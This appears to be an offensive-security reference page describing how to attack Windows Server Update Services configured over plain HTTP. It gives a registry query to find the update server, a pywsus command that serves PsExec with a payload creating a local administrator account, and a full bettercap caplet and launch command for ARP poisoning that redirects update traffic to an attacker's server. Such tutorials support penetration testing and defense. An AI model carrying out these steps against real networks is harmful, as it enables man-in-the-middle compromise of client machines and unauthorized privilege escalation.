WSUS (Windows Server Update Services) allow administrators to centralize the management and deployment of Windows updates within their organization network. When first configuring this set of services, the default configuration makes the WSUS use HTTP without any secure layer like SSL/TLS. HTTPS is not enforced by default.
When pulling an update from the WSUS server, clients are redirected to the executable file to download and execute (which can only be a binary signed by Microsoft) and obtain a handler named
CommandLineInstallation that specifies the additional parameters to pass the binary during the update installation. Without HTTPS, the WSUS is vulnerable to Man-in-the-Middle attacks where adversaries can either pose as the update server and send malicious updates or intercept and modify updates sent to the clients.
The following command prints the WSUS server the client requests when searching for an update. If the path looks like
http://wsus.domain.local/, showing the use of HTTP instead of HTTPS, the attacks can be attempted.
reg query HKML\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver
The WSUS spoofing attack can be conducted as follows
Obtain a Man-in-the-Middle position between clients and the update server with ARP poisoning.
Redirect traffic from
clients -> legitimate WSUS to
clients -> attacker's WSUS
Have a custom WSUS server running able to send evil updates to clients
In a scenario where the clients and the attacker are on the same subnet, and the update server is on another one, the steps below can be followed. For other scenarios or more info on ARP poisoning, have a look at : ARP poisoning.
The evil WSUS server needs to be started before doing any ARP poisoning. The pywsus (Python) utility can be used for that matter.
python3 pywsus.py --host $network_facing_ip --port 8530 --executable /path/to/PsExec64.exe --command '/accepteula /s cmd.exe /c "net user testuser /add && net localgroup Administrators testuser /add"'
Programs other than PsExec.exe can be used here. Using built-in programs features to bypass security restrictions or operate attacks like this is called Living off the land (LOL). Other Windows LOL binaries and scripts (a.k.a. LOLbins or LOLbas) can be found on lolbas-project.github.io.
Once the WSUS server is up and running, the ARP poisoning attack can start. The best tool to operate ARP poisoning is bettercap (Go) and for the majority of the scenarios, basic knowledge of the iptables utility is required.
Packets from the client to the WSUS server need to be hijacked and sent to the attacker's evil WSUS server. In order to do so, the attacker must pose as the client's gateway, route all traffic to the real gateway except the packets destined to the WSUS server.
wsus_spoofing.cap# quick recon of the networknet.probe on# set the ARP spoofingset arp.spoof.targets $client_ipset arp.spoof.internal falseset arp.spoof.fullduplex false# reroute traffic aimed at the WSUS serverset any.proxy.iface $interfaceset any.proxy.protocol TCPset any.proxy.src_address $WSUS_server_ipset any.proxy.src_port 8530set any.proxy.dst_address $attacker_ipset any.proxy.dst_port 8530# control logging and verbosityevents.ignore endpointevents.ignore net.sniff# start the modulesany.proxy onarp.spoof onnet.sniff on
The caplet above can be loaded with the following command in order to launch the ARP poisoning attack.
bettercap --iface $interface --caplet wsus_spoofing.cap
The search for Windows updates can be manually triggered when having access to the target computer by going to
Settings > Update & Security > Windows Update > Check for updates.
Another way of attacking insecure WSUS without having to rely on ARP poisoning but requiring user access to the target machine is explained in the following blogpost : WSUS Attacks Part 2: CVE-2020-1013 a Windows 10 Local Privilege Escalation 1-Day